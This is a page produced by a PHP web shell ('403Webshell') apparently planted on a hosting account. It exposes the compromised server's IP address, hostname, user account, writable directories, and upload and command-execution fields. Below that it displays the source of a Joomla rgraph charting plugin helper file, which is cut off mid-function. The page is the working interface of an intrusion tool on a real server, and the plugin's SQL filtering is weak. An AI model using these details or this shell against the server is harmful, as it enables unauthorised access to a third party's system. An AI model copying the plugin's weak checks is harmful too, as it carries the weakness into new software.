403Webshell
Server IP : 87.98.154.146  /  Your IP : 216.73.216.101
Web Server : Apache
System : Linux webm005.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : bsiadvisil ( 110003)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bsiadvisil/old/plugins/content/rgraph/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/bsiadvisil/old/plugins/content/rgraph//helper.php
<?php
/**
 * @package rgraph Joomla! Plugin
 * @version Version 1.2.3
 * @author  Joachim Schmidt - joachim.schmidt@jschmidt-systemberatung.de
 * @copyright (C) 2016 Joachim Schmidt. All rights reserved.
 * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 *
 * change activity:
 *  01.10.2018: changed to namespaced classes (Joomla 3.x.API)
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\Language\Text;
use Joomla\CMS\Factory;
use Joomla\CMS\Date\Date;

class plgContentrgraphHelper
{

    var $options;

    function convert2Array ($param_line)
    {
        $matches = array();
        preg_match_all('/(\w+)(\s*=\s*\".*?\")/s', $param_line, $matches);
        $count = count($matches[1]);
        $parms = array();
        
        for ($i = 0; $i < $count; $i ++)
        {
            $value = ltrim($matches[2][$i], " \n\r\t=");
            $value = trim($value, '"');
            $parm = $matches[1][$i];
            $parms[$parm] = $value;
        }
        return $parms;
    }

    function getParam (&$parms, $type, $attribute = null)
    {
        if (array_key_exists($type, $parms))
        {
            $result = $parms[$type];
            unset($parms[$type]);
            return $result;
        }
        else
            return $attribute;
    }

    function buildModalhtml ($id, $canvas, $link, $title = null, $button = false, $width = 500)
    {
        $div = $id . '_modal';
        if ($button)
            $html = '<!-- Trigger the modal with a button -->
<button type="button" class="btn btn-info btn-lg" data-toggle="modal" data-target="#' . $div . '">' . $link . '</button>';
        else
            $html = '<!-- Trigger the modal with a link -->
<a  data-toggle="modal" href="#' . $div . '">' . $link . '</a>';
        
        $html .= '<!-- Modal -->
<div id="' . $div . '" class="modal fade" role="document">
  <div class="modal-dialog modal-lg" style="width:' . $width . 'px;">

    <!-- Modal content-->
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" title="' . Text::_('CLOSE') . '">&times;</button>
        <span class="modal-title">' . $title . '</span>
      </div>
      <div id="' . $div . '_body" class="modal-body">' . $canvas . '</div>
    </div>

  </div>
</div>';
        return $html;
    }

    function getChartProperties ($id, $plugin_parms, $param_line, &$row)
    {
        $result = array();
        $error_string = "";
        
        $width = $this->getParam($param_line, 'width', $this->getParam($plugin_parms, 'width', 400));
        $height = $this->getParam($param_line, 'height', $this->getParam($plugin_parms, 'height', 300));
        $chart_alignment = $this->getParam($param_line, 'chart_alignment', $this->getParam($plugin_parms, 'chart_alignment', 'none'));
        $canvas_class = $this->getParam($param_line, 'canvas_class', $this->getParam($plugin_parms, 'canvas_class', ''));
        $number_format = $this->getParam($param_line, 'number_format', $this->getParam($plugin_parms, 'number_format', 'c'));
        $modal_chart = $this->getParam($param_line, 'modal_chart');
        $title = $this->getParam($param_line, 'title');
        $type = $this->getParam($param_line, 'type');
        $draw_option = $this->getParam($param_line, 'draw_option');
        $combine_chart = $this->getParam($param_line, 'combine_chart');
        $drill_chart = $this->getParam($param_line, 'drill_chart');
        $drill_charts = $this->getParam($param_line, 'drill_charts');
        $drill_tips = $this->getParam($param_line, 'drill_tips');
        $tips_width = $this->getParam($param_line, 'tips_width', 150);
        $tips_height = $this->getParam($param_line, 'tips_height', 110);
        
        // data parms
        $data = $this->getParam($param_line, 'data');
        $bubble_data = $this->getParam($param_line, 'bubble_data');
        $max_size = $this->getParam($param_line, 'max_size');
        
        $min = $this->getParam($param_line, 'min');
        $max = $this->getParam($param_line, 'max');
        $value = $this->getParam($param_line, 'value');
        $csv_parm = $this->getParam($param_line, 'csv_parm');
        $csv_cols = $this->getParam($param_line, 'csv_cols');
        $sheets_parm = $this->getParam($param_line, 'sheets_parm');
        $sheets_cols = $this->getParam($param_line, 'sheets_cols');
        $file = $this->getParam($param_line, 'file');
        $url = $this->getParam($param_line, 'url');
        $sql = $this->getParam($param_line, 'sql');
        $sql_labels = $this->getParam($param_line, 'sql_labels');
        $scatter_data = $this->getParam($param_line, 'scatter_data');
        $x_step = $this->getParam($param_line, 'x_step');
        $log_scale = $this->getParam($param_line, 'log_scale');
        
        $formula = $this->getParam($param_line, 'formula');
        $x_min = $this->getParam($param_line, 'x_min');
        $x_max = $this->getParam($param_line, 'x_max');
        $x_interval = $this->getParam($param_line, 'x_interval');
        $allow_formula = $this->getParam($plugin_parms, 'allow_formula', '0');
        
        $calculate_regression = $this->getParam($param_line, 'calculate_regression');
        $show_regression_formula = $this->getParam($param_line, 'show_regression_formula');
        $rearrangedata = $this->getParam($param_line, 'rearrangedata');
        
        // optional parms
        $alpha = $this->getParam($param_line, 'alpha');
        $chart_name = $this->getParam($param_line, 'chart_name');
        $truncate_label = $this->getParam($param_line, 'truncate_label');
        $tooltip = $this->getParam($param_line, 'tooltip');
        $chart_script = $this->getParam($param_line, 'chart_script');
        $event_script = $this->getParam($param_line, 'event_script');
        $allow_script = $this->getParam($plugin_parms, 'allow_script', '0');
        $allow_user_table = $this->getParam($plugin_parms, 'allow_user_table', '0');
        $dbhost = $this->getParam($plugin_parms, 'dbhost', 'localhost');
        $dbname = $this->getParam($plugin_parms, 'dbname', '');
        $dbuser = $this->getParam($plugin_parms, 'dbuser', '');
        $dbpassword = $this->getParam($plugin_parms, 'dbpassword', '');
        
        $debug = $this->getParam($param_line, 'debug');
        /*
         * ------------------------------------------- *
         * process parameters for rgraph object *
         * -------------------------------------------
         */
        $result['debug'] = false;
        if ($debug == "1")
            $result['debug'] = true;
        
        if ($id == '')
            $id = "chart_" . rand(1, 9999);
            
            // chart object
        
        $chart = new plg_rgraph_chart($id, null, $type);
        $options = new plg_rgraph_options($plugin_parms);
        $options->set_optionsviaArray($param_line);
        
        if ($options->textAccessible == true)
        {
            if (isset($options->contextmenu))
                $options->set_option("textAccessible", false, true);
            
            elseif (isset($options->variant))
            {
                if ($options->variant == "pie3d" || $options->variant == "donut3d" || $options->variant == "stacked3d")
                    $options->set_option("textAccessible", false, true);
            }
        }
        
        if (! empty($chart_name))
            $result['chart_name'] = $chart_name;
        else
            $result['chart_name'] = "chart" . $id;
        
        if ($draw_option != "")
        {
            $trans = array(
                    "[" => "{",
                    "]" => "}"
            );
            $draw_option = strtr($draw_option, $trans);
            $result['draw_option'] = "." . $draw_option;
        }
        else
            $result['draw_option'] = ".draw();";
        
        if ($sql_labels !== "0" && $sql_labels !== "false")
            $sql_labels = "1";
        
        if ($canvas_class != "")
            $result['canvas_class'] = $canvas_class;
        
        if ($chart_alignment != "")
        {
            if ($chart_alignment == "right")
                $result['chart_alignment'] = "float: right;";
            elseif ($chart_alignment == "left")
                $result['chart_alignment'] = "float: left;";
            elseif ($chart_alignment == "center")
                $result['chart_alignment'] = "margin-left:auto; margin-right:auto; display: block;";
            else
                $result['chart_alignment'] = "";
        }
        else
            $result['chart_alignment'] = "";
        
        if ($width != "")
        {
            if (is_numeric($width))
                $result['width'] = (integer) $width;
            else
                $result['width'] = 400;
        }
        
        if ($height != "")
        {
            if (is_numeric($height))
                $result['height'] = (integer) $height;
            else
                $result['height'] = 300;
        }
        
        if ($combine_chart == "1" || $combine_chart == "true")
        {
            $result['combine_chart'] = true;
            $options->set_option("backgroundImage", null, true);
            $options->set_option("backgroundColor", "", true);
            $options->set_option("backgroundGrid", false, true);
        }
        else
            $result['combine_chart'] = false;
        
        if ($drill_chart != "")
        {
            $options->set_option("textAccessible", false, true);
            
            $tmp = explode(",", $drill_chart);
            $result['drill_chart'] = $tmp[0];
            if (! empty($tmp[1]) && $tmp[1] == "1" && empty($options->contextmenu))
            {
                $item = Text::_('SHOW_MAIN_CHART');
                $options->set_option("contextmenu", array(
                        array(
                                $item,
                                $id . "_main"
                        )
                ));
            }
        }
        else
            $result['drill_chart'] = "";
        
        if ($drill_tips != "")
        {
            $chart_name = $result['chart_name'];
            $result['drill_tips'] = explode(",", $drill_tips);
            $options->set_option("drill_tips", $result['drill_tips'], true);
            $tooltips = "JAVA_VARfunction (index) {  var label = " . $chart_name . ".Get('labels')[index]; return QQ<b>QQ + label + QQ</b><br><canvas id='tooltip_canvas' width='" . $tips_width . "' height='" . $tips_height . "'></canvas>QQ }JAVA_VAR";
            $options->set_option("tooltips", $tooltips, true);
        }
        else
            $result['drill_tips'] = "";
        
        if ($drill_charts != "")
        {
            $result['drill_charts'] = explode(",", $drill_charts);
            $options->set_option("drill_charts", $result['drill_charts'], true);
        }
        else
            $result['drill_charts'] = "";
        
        if ($title != '')
        {
            $title = str_replace("<br>", "\n", $title);
            $title = str_replace("<br />", "\n", $title);
            if (strpos($title, "#varinfo#") !== false)
                $error_string = $this->replaceVar($row, $title);
            elseif (strpos($title, "#") !== false)
                $title = $this->replaceVar($row, $title);
            $result['title'] = $title;
            $options->set_option("title", $title, true);
        }
        
        if ($modal_chart != '')
        {
            $parm = explode(",", $modal_chart);
            $modal_chart = array();
            
            if (count($parm) == 1)
            {
                $modal_chart[0] = $parm[0];
                $modal_chart[1] = false;
            }
            else
            {
                $modal_chart[0] = $parm[0];
                $modal_chart[1] = (boolean) trim($parm[1]);
            }
            $options->set_option("textAccessible", false, true);
            $result['modal'] = $modal_chart;
        }
        
        if ($alpha != '')
        {
            if (is_numeric($alpha))
            {
                if ($alpha <= 1 && $alpha > 0)
                    $options->setColorOpacity($alpha);
            }
            else
                $error_string .= Text::_('INVALID_VALUE') . " alpha ($alpha) " . Text::_('DATA_NOT_NUMERIC');
        }
        
        if ($x_step != '' && $type != "Pie")
        {
            if (!is_numeric($x_step))
                $error_string .= Text::_('INVALID_VALUE') . " x_step ($x_step) " . Text::_('DATA_NOT_NUMERIC');
        }
        
        if ($truncate_label != "")
        {
            $truncate_parms = explode(",", $truncate_label);
            if (! isset($truncate_parms[1]))
                $truncate_parms[1] = "";
        }
        else
            $truncate_parms = null;
        
        if ($min != "")
        {
            settype($min, "float");
            $chart->set_min($min);
        }
        
        if ($max != "")
        {
            settype($max, "float");
            $chart->set_max($max);
        }
        
        if ($value != "")
        {
            settype($value, "float");
            $chart->set_value($value);
        }
        
        if ($max_size != "")
        {
            settype($max_size, "integer");
            $result['max_size'] = $max_size;
        }
        else
        {
            $result['max_size'] = 50;
            $max_size = 50;
        }
        
        if ($calculate_regression != '' && $data != "formula")
        {
            if ($show_regression_formula != '' && $show_regression_formula != '0')
                $show_regression_formula = "1";
        }
        
        if ($formula != '')
        {
            if ($allow_formula != "1" && $allow_formula != "true")
                $error_string .= Text::_('FORMULA_NOT_ALLOWED');
        }
        
        if ($number_format != '')
        {
            switch ($number_format)
            {
                case "a":
                    $options->set_option("scalePoint", ".", true);
                    $options->set_option("scaleThousand", "", true);
                    break;
                case "b":
                    $options->set_option("scalePoint", ",", true);
                    $options->set_option("scaleThousand", "", true);
                    break;
                case "c":
                    $options->set_option("scalePoint", ",", true);
                    $options->set_option("scaleThousand", ".", true);
                    break;
                case "d":
                    $options->set_option("scalePoint", ".", true);
                    $options->set_option("scaleThousand", ",", true);
                    break;
                default:
                    $options->set_option("scalePoint", ".", true);
                    $options->set_option("scaleThousand", ",", true);
                    break;
            }
        }
        
        if ($data == "csv" && $csv_parm == '')
            $error_string .= Text::_('NOCSV_SPECIFIED');
        
        if ($data == "sheets" && $sheets_parm == '')
            $error_string .= Text::_('NOSHEETS_SPECIFIED');
        
        if ($data == "file" && $file == '')
            $error_string .= Text::_('NOFILE_SPECIFIED');
        
        if ($data == "url" && $url == '')
            $error_string .= Text::_('NOURL_SPECIFIED');
        
        if ($data == "database" && $sql == "")
            $error_string .= Text::_('NOSQL_SPECIFIED');
            
            // build scripts for chart
        if ($chart_script != "" && $allow_script == "1")
        {
            $result['chart_script'] = $chart->getChartScript($chart_script);
        }
        elseif ($chart_script != "")
            $error_string .= Text::_('SCRIPT_NOT_ALLOWED');
        
        if ($event_script != "" && $allow_script == "1")
        {
            $result['event_script'] = $chart->getEventScript($event_script);
        }
        elseif ($event_script != "")
            $error_string .= Text::_('SCRIPT_NOT_ALLOWED');
            
            // retrieve data for chart
        if ($file != '' && $data == "file")
        {
            $filename = trim($file, "/");
            if (! file_exists($filename))
                $error_string .= "<br />&nbsp; - &quot;$file&quot; - " . Text::_('FILE_NOT_FOUND');
            else
            {
                $data = $chart->getDataFromFile($filename);
                if ($data === null)
                    $error_string .= "<br />&nbsp; - &quot;$file&quot; - " . Text::_('SOURCE_NO_DATA') . $url . "&quot";
                else
                {
                    $tmp_data = array();
                    $keys = array_keys($data);
                    $labels = $data[$keys[0]];
                    for ($i = 1; $i < count($keys); $i ++)
                    {
                        array_push($tmp_data, $data[$keys[$i]]);
                    }
                    $data = $tmp_data;
                }
            }
        }
        
        elseif ($csv_parm != '' && $data == "csv")
        {
            $header_lines = 0;
            $sepchar = ";";
            $cols = null;
            
            $parms = explode(",", $csv_parm, 3);
            
            $csv_file = $parms[0];
            if (isset($parms[1]))
                $header_lines = $parms[1];
            if (isset($parms[2]))
                $sepchar = $parms[2];
            
            if ($csv_cols != "")
            {
                $cols = explode(",", $csv_cols);
                $cols = plg_rgraph_chart::set_numeric($cols, "integer");
            }
            
            $csv_data = $chart->getCSVdata($csv_file, $header_lines, $sepchar, $cols);
            
            if ($csv_data == - 1 || $data === null)
                $error_string .= "&nbsp;" . Text::_('SOURCE_NO_DATA') . $csv_file . "&quot";
            else
            {
                if (! isset($options->labels))
                {
                    $labels = $csv_data[0];
                    array_shift($csv_data);
                }
                
                if (empty($csv_data))
                    $error_string .= "<br />&nbsp; - csv_cols=&quot;$csv_cols&quot; - " . Text::_('SOURCE_NO_DATA') . " from csv file";
                else
                    $data = $csv_data;
            }
        }
        
        elseif ($sheets_parm != '' && $data == "sheets")
        {
            $lines = 999999;
            $keep_keys = true;
            
            $parms = explode(",", $sheets_parm);
            $key = $parms[0];
            
            if (isset($parms[1]))
                $lines = (integer) $parms[1];
            if (isset($parms[2]))
                if ($parms[2] == "0" || $parms[2] == "false")
                    $keep_keys = false;
            
            $data = $chart->getsheetsData($key, $lines, $keep_keys);
            
            if ($data === null)
                $error_string .= "<br />&nbsp; - &quot;$sheets_parm&quot; - " . Text::_('SOURCE_NO_DATA') . " from Google sheets";
            else
            {
                $keys = array_keys($data);
                
                if ($sheets_cols != "")
                    $cols = explode(",", $sheets_cols);
                else
                    $cols = $keys;
                
                $cols = plg_rgraph_chart::set_numeric($cols, "integer");
                
                $labels = $data[$keys[0]];
                $tmp_data = array();
                
                for ($i = 1; $i < count($keys); $i ++)
                {
                    for ($j = 0; $j < count($cols); $j ++)
                    {
                        if ($cols[$j] === $keys[$i])
                        {
                            $data[$keys[$i]] = plg_rgraph_chart::set_numeric($data[$keys[$i]]);
                            array_push($tmp_data, $data[$keys[$i]]);
                        }
                    }
                }
                $data = $tmp_data;
                if (empty($data))
                    $error_string .= "<br />&nbsp; - sheets_cols=&quot;$sheets_cols&quot; - " . Text::_('SOURCE_NO_DATA') . " from Google sheets";
            }
        }
        
        elseif ($url != '' && $data == "url")
        {
            $hdrs = @get_headers($url);
            if (! is_array($hdrs) ? preg_match('/^HTTP\\/\\d+\\.\\d+\\s+2\\d\\d\\s+.*$/', $hdrs[0]) : false)
                $error_string .= "<br />&nbsp; - &quot;$url&quot; - " . Text::_('URL_NOT_FOUND');
            else
            {
                $data = $chart->getDataFromUrl($url);
                if ($data === null)
                    $error_string .= "<br />&nbsp; - &quot;$url&quot; - " . Text::_('SOURCE_NO_DATA') . $url . "&quot";
                else
                {
                    $tmp_data = array();
                    $keys = array_keys($data);
                    $labels = $data[$keys[0]];
                    for ($i = 1; $i < count($keys); $i ++)
                    {
                        array_push($tmp_data, $data[$keys[$i]]);
                    }
                    $data = $tmp_data;
                    if ($data === null)
                        $error_string .= "<br />&nbsp; - &quot;$url&quot; - " . Text::_('SOURCE_NO_DATA') . " from Google sheets";
                }
            }
        }
        
        elseif ($data == "formula" && $error_string == "")
        {
            $lib = dirname(__FILE__) . '/lib/evalMath.php';
            require_once ($lib);
            
            if ($formula == null && ($allow_formula == "1" || $allow_formula == "true"))
                $error_string .= Text::_('NOFORMULA_SPECIFIED');
            
            if ($allow_formula == "0" || $allow_formula == "false")
                $error_string .= Text::_('FORMULA_NOT_ALLOWED');
            
            if ($x_interval != '')
            {
                if (! is_numeric($x_interval))
                    $error_string .= Text::_('INVALID_VALUE') . " x_interval ($x_interval) " . Text::_('DATA_NOT_NUMERIC');
            }
            if ($error_string == "")
            {
                $data = $this->getDataviaFormula($formula, $x_interval, $x_min, $x_max);
                if (isset($data['error']) || $data['y_values'] == "")
                    $error_string .= Text::_('NOFORMULA_DATA') . $data['error'];
                else
                {
                    if ($x_step == "")
                        $x_step = 1;
                    $labels = $data['x_values'];
                    $data = $data['y_values'];
                }
            }
        }
        
        elseif ($data == "database" && $error_string == '')
        {
            if ($dbhost != '' && $dbname != '' && $dbuser != '')
            {
                $connection = mysqli_connect($dbhost, $dbuser, $dbpassword, $dbname);
            }
            else
            {
                $db_config = JPATH_SITE . "/configuration.php";
                require_once ($db_config);
                $jconfig = new JConfig();
                $db = $jconfig->db;
                $dbuser = $jconfig->user;
                $dbpw = $jconfig->password;
                $dbhost = $jconfig->host;
                
                $connection = mysqli_connect($dbhost, $dbuser, $dbpw, $db);
            }
            
            if (strpos($sql, "#varinfo#") !== false)
                $error_string = $this->replaceVar($row, $sql);
            elseif (stripos($sql, "#") !== false)
                $sql = $this->replaceVar($row, $sql);
                
                // Remove html-code to cleanup user input
            $search = array(
                    '@<script[^>]*?>.*?</script>@si',
                    '@<[\/\!]*?[^<>]*?>@si',
                    '@<style[^>]*?>.*?</style>@siU',
                    '@<![\s\S]*?--[ \t\n\r]*>@'
            );
            $sql = preg_replace($search, '', $sql);
            $sql = str_replace("&nbsp;", "", $sql);
            $sql = str_replace("&lt;", "<", $sql);
            $sql = str_replace("&gt;", ">", $sql);
            $sql = str_replace("\n", "", $sql);
            
            $check = trim($sql, " ");
            
            if (stripos($check, "select") != 0)
                $error_string .= Text::_('SQL_NOTALLOWED') . $check;
            
            if ($allow_user_table == false)
            {
                if (stripos($check, "_users") != false)
                    $error_string .= Text::_('SQL_NOTALLOWED') . $check;
            }
            
            $data = $chart->getDatafromDB($connection, $sql);
            if (is_array($data))
            {
                
                if (isset($data[1]) && ($sql_labels !== "0" && $sql_labels !== "false"))
                {
                    $labels = $data[0];
                    $j = 1;
                }
                else
                    $j = 0;
                
                $tmp = array();
                for ($i = $j; $i < count($data); $i ++)
                    array_push($tmp, $data[$i]);
                
                $data = $tmp;
            }
            else
                $error_string .= Text::_('SQL_NO_DATA') . $sql . "&quot;";
        }
        
        else
        {
            if ($type != "Meter" && $type != "Odometer" && $type != "Gauge" && $type != "CornerGauge" && $type != "Fuel")
            {
                if (isset($data))
                {
                    $data = $this->getlocalData($data);
                    if (is_array($data['labels']))
                        $labels = $data['labels'];
                    $data = $data['data'];
                }
                else
                    $error_string .= Text::_('NO_DATA_TAG_FOUND');
            }
        }
        
        if ($calculate_regression == "1" && $type == "Scatter")
        {
            $lib = dirname(__FILE__) . '/lib/evalMath.php';
            require_once ($lib);
            
            $calc = $this->calculate_Regression($data[0], $data[1], $formula, $number_format);
            $data = $calc['values'];
            $formula = $calc['formula'];
            $scatter_data = "1";
            if ($show_regression_formula)
                $options->set_option("key", array(
                        $formula
                ), true);
        }
        
        if ($error_string == "")
        {
            // got charts' data - proccess based on chart type
            if (is_array($data[0]))
                if (count($data) == 1)
                    $data = $data[0];
            
            if (isset($data))
            {
                if (isset($labels) && $options->get_option("labels") === null)
                    $options->set_option("labels", $labels, true);
                
                $chart->set_data($data);
                if ($rearrangedata == "1" || $rearrangedata == "true")
                    $chart->rearrangeData();
                
                if (! isset($options->ymax) && ($type == "Line" || $type == "Scatter"))
                {
                    if ($type == "Scatter" && ($scatter_data != "1" || $scatter_data != "true"))
                        $max = $this->getMaxValue($data[1]);
                    elseif ($type == "Scatter" && ($scatter_data == "1" || $scatter_data == "true"))
                        $max = $this->getMaxValue($data, true);
                    else
                        $max = $this->getMaxValue($data, false);
                    
                    $options->set_option("ymax", $max, true);
                }
                
                if ($log_scale == "1" || $log_scale == "true")
                {
                    $result_log = "";
                    if (($chart->get_chartType() == "Bar" || $chart->get_chartType() == "HBar") && $rearrangedata == "" && is_array($data[0]))
                    {
                        $chart->set_data($data);
                        $data = $chart->rearrangeData(false);
                        $options->set_option("colorsSequential", false, true);
                        $rearrangedata = "0";
                    }
                    if (! is_array($data[0]))
                    {
                        $log_data = $this->calc_logs($data);
                        if ($log_data == - 1)
                            $result_log = - 1;
                    }
                    else
                    {
                        for ($i = 0; $i < count($data); $i ++)
                        {
                            $log_data[$i] = $this->calc_logs($data[$i]);
                            if ($log_data[$i] == - 1)
                                $result_log = - 1;
                        }
                    }
                    if ($result_log == - 1)
                        $error_string .= " <b>log_scaley </b>" . Text::_('INVALID_FOR_LOG_SCALE');
                    else
                    {
                        $num = null;
                        if (isset($options->ylabelsCount))
                            $num = $options->ylabelsCount;
                        $this->buildloglabels($type, $log_data, $number_format, $options, $num);
                        $chart->set_data($log_data);
                    }
                }
            }
            
            switch ($type)
            {
                case "Scatter":
                case "Rscatter":
                case "Bubble":
                    $options->set_option("xlabelsOffset", 5, true);
                    if (($scatter_data != "1" && $scatter_data != "true") && ! isset($data[1]))
                        $error_string .= "<br />&nbsp; Chart type: &quot;$type&quot; " . Text::_('NO_DATA');
                    elseif ($scatter_data != "1" && $scatter_data != "true")
                    {
                        if (! isset($data[2]))
                            $colors = null;
                        if (! isset($data[3]))
                            $tips = $data[1];
                        
                        $labels = $data[0];
                        if ($x_step > 1)
                            $labels = $options->xlabelsteps($labels, $x_step);
                        if (! isset($options->labels))
                            $options->set_option("labels", $labels, true);
                        
                        $data = $chart->createScatterData($data[0], $data[1], $colors, $tips);
                        $chart->set_data($data);
                    }
                    if ($type == "Bubble")
                    {
                        if ($bubble_data == "")
                            $error_string .= "<br />&nbsp; Chart type: &quot;$type&quot; - Parameter &quot;bubble_data&quot; " . Text::_('NO_DATA');
                        else
                        {
                            $result['bubble_data'] = explode(",", $bubble_data);
                            $result['max'] = max($result['bubble_data']);
                            if (! isset($min))
                                $min = 0;
                            $result['min'] = $min;
                        }
                    }
                    break;
                
                case "Meter":
                case "Odometer":
                case "Gauge":
                case "CornerGauge":
                    if (isset($min))
                        $chart->set_min($min);
                    else
                        $chart->set_min(0);
                    if (isset($max))
                        $chart->set_max($max);
                    else
                        $error_string .= "<br />&nbsp; Chart type: &quot;$type&quot; - Parameter &quot;max&quot; - " . Text::_('NO_DATA');
                    if (isset($data[0]))
                        $value = $data[0];
                    if (isset($value))
                        $chart->set_value($value);
                    else
                        $chart->set_value(0);
                    break;
                
                case "Radar":
                case "Line":
                    if ($tooltip != "")
                        // $options->set_tooltip($chart->get_data(), $tooltip,
                        // true);
                        $options->set_tooltip($data, $tooltip, true);
                    if (! empty($labels))
                    {
                        if (is_array($truncate_parms))
                            $labels = $options->truncateLabels($labels, $truncate_parms[0], $truncate_parms[1]);
                        if ($x_step > 1)
                            $labels = $options->xlabelsteps($labels, $x_step);
                        $options->set_option("labels", $labels, true);
                    }
                    break;
                
                case "Gantt":
                    $tooltip = null;
                    if (is_array($truncate_parms))
                    {
                        $labels = $options->truncateLabels($options->labels, $truncate_parms[0], $truncate_parms[1]);
                        $options->set_option("labels", $labels, true);
                    }
                    break;
                
                case "Bipolar":
                    if (is_array($data[0]))
                        $chart->set_left($data[0]);
                    if (is_array($data[1]))
                        $chart->set_right($data[1]);
                    if ($tooltip != "")
                        $options->set_tooltip($data, $tooltip, true);
                    if (! empty($labels))
                    {
                        if (is_array($truncate_parms))
                            $labels = $options->truncateLabels($labels, $truncate_parms[0], $truncate_parms[1]);
                        if ($x_step > 1)
                            $labels = $options->xlabelsteps($labels, $x_step);
                        $options->set_option("labels", $labels, true);
                    }
                    break;
                
                case "Pie":
                case "Funnel":
                case "Waterfall":
                    if (is_array($data[0]))
                        $chart->set_data($data[0]);
                    if ($tooltip != "")
                        $options->set_tooltip($chart->get_data(), $tooltip);
                    if (! empty($labels))
                    {
                        if (is_array($truncate_parms))
                            $labels = $options->truncateLabels($labels, $truncate_parms[0], $truncate_parms[1]);
                        if ($x_step > 1)
                            $labels = $options->xlabelsteps($labels, $x_step);
                        $options->set_option("labels", $labels, true);
                    }
                    break;
                
                default:
                    if (($chart->get_chartType() == "Bar" || $chart->get_chartType() == "HBar") && $rearrangedata == "" && is_array($data[0]))
                    {
                        $chart->rearrangeData();
                        $options->set_option("colorsSequential", false, true);
                    }
                    if ($chart->get_chartType() == "Bar" && empty($options->variant))
                        $options->set_option("variant", "glass", true);
                    if ($chart->get_chartType() == "Bar" && empty($options->strokestyle))
                        $options->set_option("strokestyle", "rgba(250,250,250,0.1)", true);
                    
                    $options->set_option("xlabelsOffset", 5, true);
                    if ($tooltip != "")
                    {
                        if ($log_scale == "1" || $log_scale == "true")
                            $options->set_tooltip($data, $tooltip);
                        else
                            $options->set_tooltip($chart->get_data(), $tooltip);
                    }
                    if (! empty($labels))
                    {
                        if (is_array($truncate_parms))
                            $labels = $options->truncateLabels($labels, $truncate_parms[0], $truncate_parms[1]);
                        if ($x_step > 1)
                            $labels = $options->xlabelsteps($labels, $x_step);
                        $options->set_option("labels", $labels, true);
                    }
            }
        }
        
        $result['error'] = $error_string;
        $result['chart'] = $chart;
        $result['options'] = $options;
        return $result;
    }

    function calc_logs ($data)
    {
        $log_data = array();
        for ($i = 0; $i < count($data); $i ++)
        {
            if ($data[$i] >= 1)
                $log_data[$i] = log10($data[$i]);
            else
                return - 1;
        }
        
        return $log_data;
    }

    function buildloglabels ($type, $data, $format, $options, $num = 5)
    {
        if (isset($options->xmax) && $type == "HBar")
            $max = log10($options->xmax);
        elseif (isset($options->ymax))
            $max = log10($options->ymax);
        else
            $max = $this->getMaxValue($data, false);
        
        $ymin = 0;
        $xmin = 0;
        
        if (isset($options->xmin) && $type == "HBar" && $options->xmin >= 1)
        {
            $options->set_option("xmin", log10($options->xmin), true);
            $xmin = $options->xmin;
        }
        elseif (isset($options->ymin) && $options->ymin >= 1)
        {
            $options->set_option("ymin", log10($options->ymin), true);
            $ymin = $options->ymin;
        }
        
        if ($type == "HBar")
            $val = $xmin;
        else
            $val = $ymin;
        $valy = $val;
        
        if ($num === null)
            $num = 4;
        $increment = ($max - $ymin) / $num;
        
        $pre = "";
        $post = "";
        if (isset($options->unitsPre))
            $pre = $options->unitsPre;
        if (isset($options->unitsPost))
            $post = $options->unitsPost;
        
        $y_labels = array();
        for ($i = 0; $i < $num + 1; $i ++)
        {
            $valy = pow(10, $val);
            $y_labels[$i] = $pre . $this->formatnumber($format, $valy, $options->scaleDecimals) . $post;
            $val += $increment;
        }
        
        if ($type == "HBar")
        {
            $options->set_option("xlabelsSpecific", $y_labels, true);
            $options->set_option("xmax", $max, true);
        }
        else
        {
            $y_labels = array_reverse($y_labels);
            $options->set_option("ylabelsSpecific", $y_labels, true);
            $options->set_option("ymax", $max, true);
        }
    }

    function getMaxValue ($data, $scatter_data = false)
    {
        if (! is_array($data))
            return null;
        
        $max = 0;
        if (! is_array($data[0]))
        {
            $max = max($data);
            return $max;
        }
        elseif ($scatter_data == true)
        {
            for ($i = 0; $i < count($data); $i ++)
            {
                $tmp = $data[$i][1];
                if ($tmp > $max)
                    $max = $tmp;
            }
            $max = $max * 1.05;
            return round($max, 0);
        }
        else
        {
            for ($i = 0; $i < count($data); $i ++)
            {
                $tmp = max($data[$i]);
                if ($tmp > $max)
                    $max = $tmp;
            }
            // $max = $max * 1.05;
            return $max;
        }
    }

    function getlocalData ($data)
    {
        $x_labels = array();
        $local_data = explode("/", $data);
        if (count($local_data) > 1)
        {
            $local_data[0] = trim($local_data[0]);
            $local_data[0] = str_replace("<br>", "\n", $local_data[0]);
            $local_data[0] = str_replace("&#47;", "/", $local_data[0]);
            $x_labels = explode(",", $local_data[0]);
            //$labels_found = true;
            $local_data = explode("|", $local_data[1]);
        }
        else
        {
            $local_data = explode("|", trim($data));
        }
        
        $tmp = array();
        for ($i = 0; $i < count($local_data); $i ++)
        {
            $tmp[$i] = explode(",", $local_data[$i]);
        }
        $local_data = plg_rgraph_chart::set_numeric($tmp);
        
        $result = array();
        $result['labels'] = $x_labels;
        $result['data'] = $local_data;
        return $result;
    }

    private function replaceVar (&$row, $string)
    {
        if (strpos($string, "#varinfo#") !== false)
        {
            $string = "<br /><b>" . Text::_('VAR_INFO') . "</b>";
            $vars = Factory::getApplication()->input->getArray(array());
            foreach ($vars as $key => $value)
                $string .= "<br > $key" . " = " . "$value";
            
            return $string;
        }
        
        $matches = array();
        $regex = "%#\\s*(.*?)(.*?)#%s";
        preg_match_all($regex, $string, $matches);
        for ($i = 0; $i < count($matches[1]); $i ++)
        {
            switch ($matches[2][$i])
            {
                case "date":
                    $lang = Factory::getLanguage();
                    $date = new Date('now');
                    if ($lang->getTag() == "de-DE")
                        $string = str_replace("#date#", $date->format("l, d.m.Y"), $string);
                    else
                        $string = str_replace("#date#", $date->format("l, Y-m-d"), $string);
                    break;
                
                case "datesql":
                    $date = new Date('now');
                    $string = str_replace("#datesql#", $date->format("Y-m-d"), $string);
                    break;
                
                case "time":
